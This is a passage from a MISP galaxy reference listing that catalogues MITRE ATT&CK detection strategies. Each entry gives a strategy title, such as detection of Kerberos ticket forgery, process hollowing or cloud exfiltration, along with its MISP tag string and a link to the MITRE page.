The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect MFA Modification or Disabling Across Platforms - DET0190"*

Table 10183. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0190

Detection Strategy for Stripped Payloads Across Platforms - DET0019

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Stripped Payloads Across Platforms - DET0019"*

Table 10184. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0019

Behavioral Detection of Windows Command Shell Execution - DET0202

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Windows Command Shell Execution - DET0202"*

Table 10185. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0202

Detect Obfuscated C2 via Network Traffic Analysis - DET0053

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Obfuscated C2 via Network Traffic Analysis - DET0053"*

Table 10186. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0053

Detect Suspicious or Malicious Code Signing Abuse - DET0230

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Suspicious or Malicious Code Signing Abuse - DET0230"*

Table 10187. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0230

Obfuscated Binary Unpacking Detection via Behavioral Patterns - DET0023

The tag is: *misp-galaxy:x-mitre-detection-strategy="Obfuscated Binary Unpacking Detection via Behavioral Patterns - DET0023"*

Table 10188. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0023

Detection Strategy for Hidden Files and Directories - DET0032

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Hidden Files and Directories - DET0032"*

Table 10189. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0032

Detecting Electron Application Abuse for Proxy Execution - DET0025

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detecting Electron Application Abuse for Proxy Execution - DET0025"*

Table 10190. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0025

Detection Strategy for Hidden Artifacts Across Platforms - DET0502

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Hidden Artifacts Across Platforms - DET0502"*

Table 10191. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0502

Detect Credential Discovery via Windows Registry Enumeration - DET0250

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Credential Discovery via Windows Registry Enumeration - DET0250"*

Table 10192. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0250

Detection of Registry Query for Environmental Discovery - DET0209

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Registry Query for Environmental Discovery - DET0209"*

Table 10193. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0209

Detection of Malicious or Unauthorized Software Extensions - DET0092

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Malicious or Unauthorized Software Extensions - DET0092"*

Table 10194. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0092

Detect Suspicious Access to Browser Credential Stores - DET0037

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Suspicious Access to Browser Credential Stores - DET0037"*

Table 10195. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0037

Detection Strategy for Modify Cloud Compute Infrastructure - DET0308

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Modify Cloud Compute Infrastructure - DET0308"*

Table 10196. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0308

Detection Strategy for Container and Resource Discovery - DET0490

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Container and Resource Discovery - DET0490"*

Table 10197. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0490

Detection of Valid Account Abuse Across Platforms - DET0560

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Valid Account Abuse Across Platforms - DET0560"*

Table 10198. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0560

Detection Strategy for Container Administration Command Abuse - DET0065

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Container Administration Command Abuse - DET0065"*

Table 10199. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0065

Detection Strategy for Exfiltration to Cloud Storage - DET0570

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Exfiltration to Cloud Storage - DET0570"*

Table 10200. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0570

Behavioral Detection of Process Injection Across Platforms - DET0508

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Process Injection Across Platforms - DET0508"*

Table 10201. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0508

Detection of Match Legitimate Name or Location - DET0609

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Match Legitimate Name or Location - DET0609"*

Table 10202. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0609

Detection of Exfiltration Over Alternate Network Interfaces - DET0077

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Exfiltration Over Alternate Network Interfaces - DET0077"*

Table 10203. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0077

Behavioral Detection of Malicious Cloud API Scripting - DET0078

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Malicious Cloud API Scripting - DET0078"*

Table 10204. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0078

Encrypted or Encoded File Payload Detection Strategy - DET0087

The tag is: *misp-galaxy:x-mitre-detection-strategy="Encrypted or Encoded File Payload Detection Strategy - DET0087"*

Table 10205. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0087

Behavioral Detection of Keylogging Activity Across Platforms - DET0089

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Keylogging Activity Across Platforms - DET0089"*

Table 10206. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0089

Detect Unsecured Credentials Shared in Chat Messages - DET0111

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Unsecured Credentials Shared in Chat Messages - DET0111"*

Table 10207. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0111

Boot or Logon Initialization Scripts Detection Strategy - DET0112

The tag is: *misp-galaxy:x-mitre-detection-strategy="Boot or Logon Initialization Scripts Detection Strategy - DET0112"*

Table 10208. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0112

Detection Strategy for Safe Mode Boot Abuse - DET0116

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Safe Mode Boot Abuse - DET0116"*

Table 10209. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0116

Detect Active Setup Persistence via StubPath Execution - DET0312

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Active Setup Persistence via StubPath Execution - DET0312"*

Table 10210. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0312

Detection of Data Exfiltration via Removable Media - DET0123

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Data Exfiltration via Removable Media - DET0123"*

Table 10211. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0123

Detection Strategy for Hidden Virtual Instance Execution - DET0321

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Hidden Virtual Instance Execution - DET0321"*

Table 10212. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0321

Detection Strategy for System Services Service Execution - DET0421

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for System Services Service Execution - DET0421"*

Table 10213. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0421

Behavioral Detection of Spoofed GUI Credential Prompts - DET0521

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Spoofed GUI Credential Prompts - DET0521"*

Table 10214. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0521

Detection Strategy for ListPlanting Injection on Windows - DET0331

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for ListPlanting Injection on Windows - DET0331"*

Table 10215. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0331

Abuse of Information Repositories for Data Collection - DET0413

The tag is: *misp-galaxy:x-mitre-detection-strategy="Abuse of Information Repositories for Data Collection - DET0413"*

Table 10216. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0413

Detect Suspicious Access to Windows Credential Manager - DET0134

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Suspicious Access to Windows Credential Manager - DET0134"*

Table 10217. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0134

Detection Strategy for Network Sniffing Across Platforms - DET0314

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Network Sniffing Across Platforms - DET0314"*

Table 10218. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0314

Detection Strategy for Network Address Translation Traversal - DET0163

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Network Address Translation Traversal - DET0163"*

Table 10219. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0163

Detection Strategy for Impair Defenses Across Platforms - DET0317

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Impair Defenses Across Platforms - DET0317"*

Table 10220. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0317

Detection Strategy for Exfiltration to Code Repository - DET0318

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Exfiltration to Code Repository - DET0318"*

Table 10221. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0318

Detection of Credential Harvesting via API Hooking - DET0139

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Credential Harvesting via API Hooking - DET0139"*

Table 10222. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0139

Detection Strategy for Exploitation for Privilege Escalation - DET0514

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Exploitation for Privilege Escalation - DET0514"*

Table 10223. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0514

Detection Strategy for Hidden File System Abuse - DET0461

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Hidden File System Abuse - DET0461"*

Table 10224. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0461

Detection Strategy for Overwritten Process Arguments Masquerading - DET0164

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Overwritten Process Arguments Masquerading - DET0164"*

Table 10225. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0164

Detection Strategy for Exploitation for Credential Access - DET0174

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Exploitation for Credential Access - DET0174"*

Table 10226. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0174

Windows DACL Manipulation Behavioral Chain Detection Strategy - DET0418

The tag is: *misp-galaxy:x-mitre-detection-strategy="Windows DACL Manipulation Behavioral Chain Detection Strategy - DET0418"*

Table 10227. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0418

Behavioral Detection of Indicator Removal Across Platforms - DET0184

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Indicator Removal Across Platforms - DET0184"*

Table 10228. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0184

Detection Strategy for Modify Cloud Resource Hierarchy - DET0155

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Modify Cloud Resource Hierarchy - DET0155"*

Table 10229. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0155

Behavioral Detection of System Network Configuration Discovery - DET0195

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of System Network Configuration Discovery - DET0195"*

Table 10230. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0195

Detection of Download New Code at Runtime - DET0618

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Download New Code at Runtime - DET0618"*

Table 10231. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0618

Detect Persistence via Outlook Home Page Exploitation - DET0177

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Persistence via Outlook Home Page Exploitation - DET0177"*

Table 10232. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0177

Suspicious Use of Web Services for C2 - DET0425

The tag is: *misp-galaxy:x-mitre-detection-strategy="Suspicious Use of Web Services for C2 - DET0425"*

Table 10233. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0425

Detection Strategy for IFEO Injection on Windows - DET0422

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for IFEO Injection on Windows - DET0422"*

Table 10234. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0422

Detection Strategy for Exfiltration Over C2 Channel - DET0348

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Exfiltration Over C2 Channel - DET0348"*

Table 10235. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0348

Detection Strategy for Process Hollowing on Windows - DET0382

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Process Hollowing on Windows - DET0382"*

Table 10236. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0382

Detection Strategy for Impair Defenses Indicator Blocking - DET0239

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Impair Defenses Indicator Blocking - DET0239"*

Table 10237. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0239

Boot or Logon Autostart Execution Detection Strategy - DET0274

The tag is: *misp-galaxy:x-mitre-detection-strategy="Boot or Logon Autostart Execution Detection Strategy - DET0274"*

Table 10238. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0274

Detection Strategy for Bind Mounts on Linux - DET0428

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Bind Mounts on Linux - DET0428"*

Table 10239. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0428

Detection of Windows Service Creation or Modification - DET0552

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Windows Service Creation or Modification - DET0552"*

Table 10240. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0552

System Discovery via Native and Remote Utilities - DET0525

The tag is: *misp-galaxy:x-mitre-detection-strategy="System Discovery via Native and Remote Utilities - DET0525"*

Table 10241. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0525

Suspicious RoleBinding or ClusterRoleBinding Assignment in Kubernetes - DET0572

The tag is: *misp-galaxy:x-mitre-detection-strategy="Suspicious RoleBinding or ClusterRoleBinding Assignment in Kubernetes - DET0572"*

Table 10242. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0572

Remote Desktop Software Execution and Beaconing Detection - DET0259

The tag is: *misp-galaxy:x-mitre-detection-strategy="Remote Desktop Software Execution and Beaconing Detection - DET0259"*

Table 10243. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0259

Programmatic and Excessive Access to Confluence Documentation - DET0358

The tag is: *misp-galaxy:x-mitre-detection-strategy="Programmatic and Excessive Access to Confluence Documentation - DET0358"*

Table 10244. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0358

Detection Strategy for Double File Extension Masquerading - DET0366

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Double File Extension Masquerading - DET0366"*

Table 10245. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0366

Behavioral Detection of Obfuscated Files or Information - DET0378

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Obfuscated Files or Information - DET0378"*

Table 10246. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0378

Detection Strategy for Process Doppelgänging on Windows - DET0544

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Process Doppelgänging on Windows - DET0544"*

Table 10247. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0544

Detection Strategy for VDSO Hijacking on Linux - DET0448

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for VDSO Hijacking on Linux - DET0448"*

Table 10248. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0448

Detection of Default Account Abuse Across Platforms - DET0465

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Default Account Abuse Across Platforms - DET0465"*

Table 10249. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0465

Detection of Boot or Logon Initialization Scripts - DET0654

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Boot or Logon Initialization Scripts - DET0654"*

Table 10250. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0654

Detection Strategy for Remote System Enumeration Behavior - DET0574

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Remote System Enumeration Behavior - DET0574"*

Table 10251. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0574

Detection Strategy for Exfiltration Over Web Service - DET0548

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Exfiltration Over Web Service - DET0548"*

Table 10252. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0548

Detection Strategy for Resource Forking on macOS - DET0584

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Resource Forking on macOS - DET0584"*

Table 10253. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0584

Detection Strategy for Build Image on Host - DET0459

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Build Image on Host - DET0459"*

Table 10254. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0459

Detecting Odbcconf Proxy Execution of Malicious DLLs - DET0486

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detecting Odbcconf Proxy Execution of Malicious DLLs - DET0486"*

Table 10255. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0486

Detection Strategy for ESXi Hypervisor CLI Abuse - DET0558

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for ESXi Hypervisor CLI Abuse - DET0558"*

Table 10256. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0558

Detection Strategy for Exploitation for Defense Evasion - DET0595

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Exploitation for Defense Evasion - DET0595"*

Table 10257. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0595

Email Forwarding Rule Abuse Detection Across Platforms - DET0576

The tag is: *misp-galaxy:x-mitre-detection-strategy="Email Forwarding Rule Abuse Detection Across Platforms - DET0576"*

Table 10258. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0576

Detection Strategy for Cloud Storage Object Discovery - DET0578

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Cloud Storage Object Discovery - DET0578"*

Table 10259. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0578

Detect Abuse of Inter-Process Communication (T1559) - DET0493

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Abuse of Inter-Process Communication (T1559) - DET0493"*

Table 10260. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0493

Detect Archiving via Custom Method (T1560.003) - DET0438

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Archiving via Custom Method (T1560.003) - DET0438"*

Table 10261. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0438

Detect Forged Kerberos Golden Tickets (T1558.001) - DET0144

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Forged Kerberos Golden Tickets (T1558.001) - DET0144"*

Table 10262. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0144

Detect Forged Kerberos Silver Tickets (T1558.002) - DET0241

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Forged Kerberos Silver Tickets (T1558.002) - DET0241"*

Table 10263. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0241

Unauthorized Network Firewall Rule Modification (T1562.013) - DET0306

The tag is: *misp-galaxy:x-mitre-detection-strategy="Unauthorized Network Firewall Rule Modification (T1562.013) - DET0306"*

Table 10264. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0306

Detect Abuse of XPC Services (T1559.003) - DET0335

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Abuse of XPC Services (T1559.003) - DET0335"*

Table 10265. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0335

Detection Strategy for Debugger Evasion (T1622) - DET0371

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Debugger Evasion (T1622) - DET0371"*

Table 10266. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0371

Detection Strategy for Serverless Execution (T1648) - DET0374

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Serverless Execution (T1648) - DET0374"*

Table 10267. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0374

Cross-host C2 via Removable Media Relay - DET0090

The tag is: *misp-galaxy:x-mitre-detection-strategy="Cross-host C2 via Removable Media Relay - DET0090"*

Table 10268. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0090

Detect Persistence via Malicious Office Add-ins - DET0050

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Persistence via Malicious Office Add-ins - DET0050"*

Table 10269. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0050

Behavior-Based Registry Modification Detection on Windows - DET0280

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavior-Based Registry Modification Detection on Windows - DET0280"*

Table 10270. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0280

Cross-Platform Behavioral Detection of Python Execution - DET0063

The tag is: *misp-galaxy:x-mitre-detection-strategy="Cross-Platform Behavioral Detection of Python Execution - DET0063"*

Table 10271. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0063

Multi-Platform Behavioral Detection for Compute Hijacking - DET0540

The tag is: *misp-galaxy:x-mitre-detection-strategy="Multi-Platform Behavioral Detection for Compute Hijacking - DET0540"*

Table 10272. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0540

Detection Strategy for T1542 Pre-OS Boot - DET0278

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for T1542 Pre-OS Boot - DET0278"*

Table 10273. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0278

Detection of AppleScript-Based Execution on macOS - DET0414

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of AppleScript-Based Execution on macOS - DET0414"*

Table 10274. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0414

Detect One-Way Web Service Command Channels - DET0581

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect One-Way Web Service Command Channels - DET0581"*

Table 10275. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0581

Detect Multi-Stage Command and Control Channels - DET0228

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Multi-Stage Command and Control Channels - DET0228"*

Table 10276. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0228

Cross-Platform Detection of JavaScript Execution Abuse - DET0264

The tag is: *misp-galaxy:x-mitre-detection-strategy="Cross-Platform Detection of JavaScript Execution Abuse - DET0264"*

Table 10277. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0264

Behavioral Detection of Wi-Fi Discovery Activity - DET0464

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Wi-Fi Discovery Activity - DET0464"*

Table 10278. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0464

Multi-Platform Cloud Storage Exfiltration Behavior Chain - DET0484

The tag is: *misp-galaxy:x-mitre-detection-strategy="Multi-Platform Cloud Storage Exfiltration Behavior Chain - DET0484"*

Table 10279. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0484

Behavioral Detection of WinRM-Based Remote Access - DET0477

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of WinRM-Based Remote Access - DET0477"*

Table 10280. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0477

Detection Strategy for T1218.012 Verclsid Abuse - DET0042

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for T1218.012 Verclsid Abuse - DET0042"*

Table 10281. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0042

Detection Strategy for Phishing across platforms. - DET0070

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Phishing across platforms. - DET0070"*

Table 10282. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0070

Detection Strategy for T1218.011 Rundll32 Abuse - DET0475

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for T1218.011 Rundll32 Abuse - DET0475"*

Table 10283. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0475

Detection Strategy for Runtime Data Manipulation. - DET0391

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Runtime Data Manipulation. - DET0391"*

Table 10284. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0391

Detection Strategy for T1497 Virtualization/Sandbox Evasion - DET0046

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for T1497 Virtualization/Sandbox Evasion - DET0046"*

Table 10285. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0046

Detection Strategy for Reflective Code Loading - DET0300

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Reflective Code Loading - DET0300"*

Table 10286. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0300

Detection Strategy for Network Boundary Bridging - DET0006

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Network Boundary Bridging - DET0006"*

Table 10287. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0006

Detection Strategy for Lua Scripting Abuse - DET0101

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Lua Scripting Abuse - DET0101"*

Table 10288. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0101

Behavioral Detection of Malicious File Deletion - DET0140

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Malicious File Deletion - DET0140"*

Table 10289. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0140

Detection Strategy for Cloud Service Discovery - DET0402

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Cloud Service Discovery - DET0402"*

Table 10290. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0402

Detection Strategy for Forged Web Credentials - DET0260

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Forged Web Credentials - DET0260"*

Table 10291. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0260

Detection of Malicious Kubernetes CronJob Scheduling - DET0206

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Malicious Kubernetes CronJob Scheduling - DET0206"*

Table 10292. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0206

Detection of Remote Device Management Services - DET0702

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Remote Device Management Services - DET0702"*

Table 10293. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0702

Detect Logon Script Modifications and Execution - DET0072

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Logon Script Modifications and Execution - DET0072"*

Table 10294. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0072

Detection of Obfuscated Files or Information - DET0720

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Obfuscated Files or Information - DET0720"*

Table 10295. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0720

Local Account Enumeration Across Host Platforms - DET0303

The tag is: *misp-galaxy:x-mitre-detection-strategy="Local Account Enumeration Across Host Platforms - DET0303"*

Table 10296. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0303

Detection of Adversarial Process Discovery Behavior - DET0034

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Adversarial Process Discovery Behavior - DET0034"*

Table 10297. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0034

Detect Credentials Access from Password Stores - DET0430

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Credentials Access from Password Stores - DET0430"*

Table 10298. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0430

Detection Strategy for System Location Discovery - DET0043

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for System Location Discovery - DET0043"*

Table 10299. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0043

Behavioral Detection of Domain Group Discovery - DET0360

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Domain Group Discovery - DET0360"*

Table 10300. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0360

Detection Strategy for System Services: Systemctl - DET0073

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for System Services: Systemctl - DET0073"*

Table 10301. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0073

Detecting Malicious Browser Extensions Across Platforms - DET0044

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detecting Malicious Browser Extensions Across Platforms - DET0044"*

Table 10302. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0044

Detection Strategy for LNK Icon Smuggling - DET0405

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for LNK Icon Smuggling - DET0405"*

Table 10303. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0405

Detection Strategy for Extended Attributes Abuse - DET0406

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Extended Attributes Abuse - DET0406"*

Table 10304. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0406

Detection of Compromise Hardware Supply Chain - DET0604

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Compromise Hardware Supply Chain - DET0604"*

Table 10305. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0604

Detect Persistence via Malicious Outlook Rules - DET0095

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Persistence via Malicious Outlook Rules - DET0095"*

Table 10306. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0095

Detection Strategy for Ignore Process Interrupts - DET0067

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Ignore Process Interrupts - DET0067"*

Table 10307. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0067

Detection of Search Open Technical Databases - DET0860

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Search Open Technical Databases - DET0860"*

Table 10308. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0860

Detection of Generate Traffic from Victim - DET0608

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Generate Traffic from Victim - DET0608"*

Table 10309. Table References

Links
